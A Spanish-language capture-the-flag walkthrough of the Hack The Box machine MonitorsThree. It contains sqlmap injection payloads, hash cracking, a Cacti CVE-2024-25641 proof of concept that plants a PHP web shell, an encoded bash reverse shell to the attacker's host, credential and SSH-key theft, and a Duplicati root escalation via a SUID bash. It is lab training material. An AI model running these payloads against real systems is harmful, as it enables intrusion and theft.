Descripción
MonitorsThree es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inyección SQL en una aplicación web para obtener las credenciales de un usuario
- Ejecución remota de comandos autenticada en la aplicación web Cacti
- Recuperación de la contraseña de un usuario de un hash, reutilizada para un usuario de Linux
- Acceso a una aplicación web interna de Duplicati mediante la redirección del puerto local
- Escalada de privilegios utilizando la aplicación de copias de seguridad Duplicati que tiene acceso a todo el sistema de archivos
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.216.196.
$ ping -c 3 10.129.216.196
PING 10.129.216.196 (10.129.216.196) 56(84) bytes of data.
64 bytes from 10.129.216.196: icmp_seq=1 ttl=63 time=43.9 ms
64 bytes from 10.129.216.196: icmp_seq=2 ttl=63 time=43.6 ms
64 bytes from 10.129.216.196: icmp_seq=3 ttl=63 time=43.4 ms
--- 10.129.216.196 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.394/43.627/43.939/0.229 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.216.196 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.216.196
Host is up (0.044s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8084/tcp filtered websnp
Nmap done: 1 IP address (1 host up) scanned in 10.36 seconds
Obtenemos dos puertos abiertos, 22 y 80, y uno filtrado, 8084.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap -sV -sC -p22,80 -oN nmap_scan_ports 10.129.216.196
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.216.196
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.03 seconds
Obtenemos dos servicios: un Secure Shell (SSH) y otro Hypertext Transfer Protocol (HTTP) ejecutándose en un Linux Ubuntu. Dado que no tenemos credenciales factibles para el servicio SSH nos movemos al servicio HTTP. Observamos que el servicio está hospedando una página web, http://monitorsthree.htb, por lo tanto la agregamos a nuestro archivo local /etc/hosts.
$ echo "10.129.216.196 monitorsthree.htb" | sudo tee -a /etc/hosts
Tenemos acceso a la aplicación de negocios MonitorsThree. Tenemos acceso a un panel de inicio de sesión:
Podemos iniciar sesión utilizando un nombre de usuario y una contraseña, o recuperar una contraseña olvidada.
Si introducimos el valor admin' en el formulario de recuperación de contraseña, obtenemos un error SQL, lo que indica la existencia de una inyección SQL.
Podemos utilizar la herramienta sqlmap para explotar esta vulnerabilidad.
Explotación (1)
Primero podemos mostrar las bases de datos actuales utilizadas.
$ sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=admin' --current-db
...
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 340 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=admin' AND 4091=4091 AND 'NUYK'='NUYK
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin' AND (SELECT 7727 FROM(SELECT COUNT(*),CONCAT(0x717a6a6271,(SELECT (ELT(7727=7727,1))),0x717a6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vAKG'='vAKG
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: username=admin';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 5566 FROM (SELECT(SLEEP(5)))VNnP) AND 'MNhY'='MNhY
---
...
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
...
current database: 'monitorsthree_db'
...
Luego listamos las tablas de la base de datos monitorsthree_db.
$ sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=admin' -D monitorsthree_db --tables
...
Database: monitorsthree_db
[6 tables]
+---------------+
| changelog |
| customers |
| invoice_tasks |
| invoices |
| tasks |
| users |
+---------------+
...
Luego podemos recuperar las columnas de la tabla users.
$ sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --data 'username=admin' -D monitorsthree_db -T users --dump
...
Database: monitorsthree_db
Table: users
[4 entries]
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob | email | name | salary | password | username | position | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2 | 1978-04-25 | admin@monitorsthree.htb | Marcus Higgins | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin | Super User | 2021-01-12 |
| 5 | 1985-02-15 | mwatson@monitorsthree.htb | Michael Watson | 75000.00 | c585d01f2eb3e6e1073e92023088a3dd | mwatson | Website Administrator | 2021-05-10 |
| 6 | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00 | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer | 2021-06-20 |
| 7 | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson | 83000.00 | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
...
Tenemos nombres de usuario y hash de las contraseñas, por lo que podemos intentar recuperarlas. El formato de las hash es MD5.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 web_hashes
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
greencacti2001 (admin)
1g 0:00:00:00 DONE 1.666g/s 23905Kp/s 23905Kc/s 84692KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña para el usuario admin, greencacti2001.
Enumeración (2)
Podemos iniciar sesión en la página web para tener acceso al panel de administración.
No encontramos ninguna vulnerabilidad en la página, por lo que continuamos enumerando el sitio web, por ejemplo, buscando subdominios.
$ gobuster vhost -u monitorsthree.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://monitorsthree.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: cacti.monitorsthree.htb Status: 200 [Size: 14320]
Encontramos uno, cacti.monitorsthree.htb, por lo que lo agregamos a nuestro archivo de hosts.
$ echo "10.129.216.196 cacti.monitorsthree.htb" | sudo tee -a /etc/hosts
Encontramos la aplicación web de Cacti versión 1.2.26.
Podemos iniciar sesión utilizando las credenciales anteriores y el usuario admin.
Explotación (2)
Esta versión de Cacti es vulnerable a una vulnerabilidad de ejecución de comandos remotos cuando importa paquetes, CVE-2024-25641. Tenemos una prueba de concepto (PoC) de la vulnerabilidad en la página de reporte de la vulnerabilidad. Vamos a modificar la PoC para ejecutar comandos en el sistema remoto. Guardaremos la PoC como el archivo import.php:
<?php
$xmldata = "<xml>
<files>
<file>
<name>resource/test.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = '<?php if(isset($_ REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_ REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; } ?>';
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
Luego ejecutamos el script con la aplicación php para generar el archivo test.xml.gz.
$ php import.php
Con el archivo generado, nos dirigimos a la Consola de Administración de Cacti. Para importar el archivo, necesitamos acceder al menú izquierdo Import/Export > Import Packages. Luego podemos subir el archivo en la opción Local Package Import File. Después marcamos el archivo test.php en la sección Import Package Filenames. Finalmente, podemos clicar en el botón Import.
Podemos acceder al archivo subido en el archivo /cacti/resource/test.php.
$ curl 'http://cacti.monitorsthree.htb/cacti/resource/test.php?cmd=whoami'
<pre>www-data
</pre>
Podemos iniciar el puerto de escucha en el puerto 1234.
$ nc -nvlp 1234
Luego ejecutamos la orden para crear una terminal inversa, necesitamos codificarla en formato URL y enviarla como el parámetro cmd.
$ curl 'http://cacti.monitorsthree.htb/cacti/resource/test.php?cmd=echo%20%22YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMS8xMjM0IDA%2BJjE%3D%22%20%7C%20base64%20%2Dd%20%7C%20bash'
Obtenemos una consola como el usuario www-data. Podemos mejorar la consola.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.21] from (UNKNOWN) [10.129.216.196] 57970
bash: cannot set terminal process group (1185): Inappropriate ioctl for device
bash: no job control in this shell
www-data@monitorsthree:~/html/cacti/resource$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Explotación
Encontramos otros usuarios de consola en el archivo /etc/passwd, con el nombre de usuario root y marcus.
www-data@monitorsthree:~/html/cacti/resource$ grep -rn 'bash' /etc/passwd
1:root:x:0:0:root:/root:/bin/bash
33:marcus:x:1000:1000:Marcus:/home/marcus:/bin/bash
Las credenciales para acceder a la base de datos MySQL por Cacti se encuentran en el archivo /var/www/html/cacti/include/config.php.
www-data@monitorsthree:~/html/cacti/resource$ cat /var/www/html/cacti/include/config.php
...
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
...
Podemos usar la base de datos cacti en el servidor local 127.0.0.1 y puerto 3306, con el nombre de usuario cactiuser y contraseña cactiuser. Podemos realizar una consulta de selección (SELECT) sobre las columnas username y password de la tabla user_auth.
www-data@monitorsthree:~/html/cacti/resource$ mysql -h 127.0.0.1 -u cactiuser -D cacti --password=cactiuser
...
MariaDB [cacti]> select username,password from user_auth;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |
| guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |
| marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |
+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)
Obtenemos los hashes de las contraseñas de los usuarios, por lo que podemos intentar recuperarlas.
$ john --wordlist=/usr/share/wordlists/rockyou.txt cacti_hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678910 (marcus)
Obtenemos la contraseña de Cacti del usuario marcus, 12345678910. La contraseña se reutiliza para el usuario Linux marcus, por lo que podemos iniciar sesión.
www-data@monitorsthree:~/html/cacti/resource$ su marcus
Password:
marcus@monitorsthree:/var/www/html/cacti/resource$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
Encontramos la clave privada del usuario marcus en el archivo /home/marcus/.ssh/id_rsa, por lo que podemos utilizarla para iniciar sesión mediante SSH.
marcus@monitorsthree:~$ cat /home/marcus/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAtnRPdVSiZQb9HZnJlozKj7mtHg/vVbR1nO50+ZNRIBj51SOy
...
F0CsuGrWzew8ZVCUbx4pzkCm7n6FMZ2PW8ucHP4ZXXyUmj7PFpxNxvs=
-----END RSA PRIVATE KEY-----
Movemos la clave privada a nuestro sistema y establecemos los permisos adecuados.
$ nano marcus_ssh_key
$ chmod 600 marcus_ssh_key
$ ssh -i marcus_ssh_key marcus@monitorsthree.htb
Al enumerar los puertos abiertos en el sistema, encontramos el puerto local 8200.
marcus@monitorsthree:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8200 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 500 0.0.0.0:8084 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:34229 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 511 [::]:80 [::]:*
Podemos utilizar la técnica de reenvío de puertos locales mediante SSH para mapear el puerto local 8200 del equipo a nuestro puerto local 4444.
$ ssh -i marcus_ssh_key -N -L 127.0.0.1:4444:127.0.0.1:8200 marcus@monitorsthree.htb
Encontramos una instancia de la aplicación Duplicati, utilizada para crear respaldos del sistema de archivos, pero requiere una contraseña para acceder.
Al enumerar el sistema, encontramos la carpeta /opt/duplicati y sus archivos. También encontramos el archivo crontab que se ejecuta como el usuario root para crear un respaldo. Se encuentra ejecutando el script client.py desde la carpeta /root/scripts/duplicati-client.
marcus@monitorsthree:~$ find / -name *duplicati* 2> /dev/null
...
/opt/duplicati
/etc/cron.d/duplicati
marcus@monitorsthree:~$ find /opt/duplicati
/opt/duplicati
/opt/duplicati/config
/opt/duplicati/config/Duplicati-server.sqlite
/opt/duplicati/config/CTADPNHLTC.sqlite
/opt/duplicati/config/.config
/opt/duplicati/config/.config/.mono
/opt/duplicati/config/.config/.mono/certs
/opt/duplicati/config/.config/.mono/certs/Trust
/opt/duplicati/config/control_dir_v2
/opt/duplicati/config/control_dir_v2/lock_v2
marcus@monitorsthree:~$ cat /etc/cron.d/duplicati
*/10 * * * * root cd ~/scripts/duplicati-client && python3 client.py
El archivo de base de datos que contiene la configuración de la aplicación Duplicati se encuentra en el archivo /opt/duplicati/config/Duplicati-server.sqlite.
$ scp -i marcus_ssh_key marcus@monitorsthree.htb:/opt/duplicati/config/Duplicati-server.sqlite Duplicati-server.sqlite
Encontramos la contraseña del servidor de Duplicati cifrada en el campo server-passphare con el valor Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho= y el salt de la contraseña en el campo server-passphare-salt con el valor xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=.
$ sqlite3 Duplicati-server.sqlite
SQLite version 3.44.2 2023-11-24 11:41:44
Enter ".help" for usage hints.
sqlite> .tables
Backup Log Option TempFile
ErrorLog Metadata Schedule UIStorage
Filter Notification Source Version
sqlite> select * from Option;
...
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
...
Con la información obtenida, podemos iniciar sesión en la aplicación web utilizando el método descrito en el post de STarX. Necesitamos un proxy web como Burp para realizar esta tarea. Primero, habilitaremos la intercepción en el proxy. Luego, regresando a la ventana del navegador, introduciremos una contraseña aleatoria. Después, interceptaremos la solicitud POST /login.cgi para obtener el valor del nonce. En este caso, obtenemos el nonce W9RFKFu2k0K0iSQN3DQkB/T4SvCGddz/I3jrjLeLnQo=.
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Content-Length: 140
Content-Type: application/json
Server: Tiny WebServer
Connection: close
Set-Cookie: xsrf-token=8c%2BTr647tjgXU268AX9HXmexT5yhmumKDY8XLZbELzo%3D;path=/;
Set-Cookie: session-nonce=W9RFKFu2k0K0iSQN3DQkB%2FT4SvCGddz%2FI3jrjLeLnQo%3D;path=/;
{
"Status": "OK",
"Nonce": "W9RFKFu2k0K0iSQN3DQkB/T4SvCGddz/I3jrjLeLnQo=",
"Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
Reenviamos la solicitud interceptada. Otra solicitud será interceptada para enviar la contraseña cifrada. Con este código JavaScript que se puede ejecutar en las herramientas de desarrollador del navegador y en la página Duplicati, podemos obtener la contraseña cifrada para enviarla. Como variable saltedpwd, utilizaremos el valor hexadecimal de la columna server-passphare desde su valor Base64. Podemos utilizar CyberChef para convertir el valor. Obtenemos el valor 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a.
var saltedpwd = "59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a";
var nonce = "W9RFKFu2k0K0iSQN3DQkB/T4SvCGddz/I3jrjLeLnQo=";
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
Después de ejecutar el script JavaScript, obtenemos la contraseña a enviar W9fYuqX9u3FROQOEly8pkGVgotoB1P+KJjErgloRdNU=. Necesitamos enviarla codificada en formato URL.
POST /login.cgi HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 57
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://127.0.0.1:4444
Referer: http://127.0.0.1:4444/login.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en,es-ES;q=0.9,es;q=0.8
Cookie: default-theme=ngax; xsrf-token=8c%2BTr647tjgXU268AX9HXmexT5yhmumKDY8XLZbELzo%3D; session-nonce=W9RFKFu2k0K0iSQN3DQkB%2FT4SvCGddz%2FI3jrjLeLnQo%3D
Connection: close
password=W9fYuqX9u3FROQOEly8pkGVgotoB1P%2bKJjErgloRdNU%3d
Después de reenviar las solicitudes, podemos detener la intercepción y ya estaremos con la sesión iniciada en la aplicación.
Encontramos el respaldo previamente creado Cacti 1.2.26 Backup. Podemos crear un nuevo respaldo utilizando la opción Add backup. Luego, podemos utilizar la opción Configure a new backup. En el paso de Destination, podemos leer las carpetas presentes en el sistema.
Encontramos carpetas que no están presentes en el sistema de archivos, como app y backups.
marcus@monitorsthree:~$ ls /
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var
Esto podría significar que estamos dentro de un contenedor. En medio de estas carpetas extras encontramos la carpeta source, que contiene otro sistema de archivos.
Dentro de la carpeta root de este sistema de archivos encontramos la carpeta duplicati-client, como vimos anteriormente en el archivo crontab, esta carpeta se encuentra en nuestro sistema de archivos. Esto significa que la aplicación Duplicati tiene acceso a todos los archivos del sistema y está ejecutándose con permisos de superusuario (root). Duplicati tiene una opción para ejecutar un script antes de realizar la copia de seguridad. Empezaremos creando un script Bash en /tmp/script.sh que creará un archivo SUID Bash en la carpeta /source/tmp/ (dentro del contenedor). Y creamos dos directorios para la copia de seguridad.
marcus@monitorsthree:~$ echo -e '#!/bin/bash\ncp /source/bin/bash /source/tmp/root-bash; chmod +s /source/tmp/root-bash' > /tmp/script.sh
marcus@monitorsthree:~$ mkdir /tmp/backup /tmp/files
Empezaremos la copia de seguridad utilizando el menú Add backup y la opción Configure a new backup.
Entonces introducimos un nombre aleatorio para la copia de seguridad y sin cifrado:
Luego seleccionamos la carpeta /source/tmp/backup como destino para la copia de seguridad.
Como carpeta origen, usaremos /source/tmp/files.
Deshabilitamos las copias de seguridad programadas.
En el paso de opciones agregaremos la opción run-script-before con el script /source/tmp/script.sh.
Una vez creada la configuración se nos redirige a la página principal y podremos iniciar la copia de seguridad haciendo clic en el botón Run now.
Regresando a la consola, podemos encontrar y ejecutar el binario Bash SUID para obtener una terminal con permisos de superusuario (root).
marcus@monitorsthree:~$ ls /tmp/root-bash
/tmp/root-bash
marcus@monitorsthree:~$ /tmp/root-bash -p
root-bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) egid=0(root) groups=0(root),1000(marcus)
Flags
En la terminal de superusuario, podemos obtener tanto la flag del usuario como la flag del sistema.
root-bash-5.1# cat /home/marcus/user.txt
<REDACTED>
root-bash-5.1# cat /root/root.txt
<REDACTED>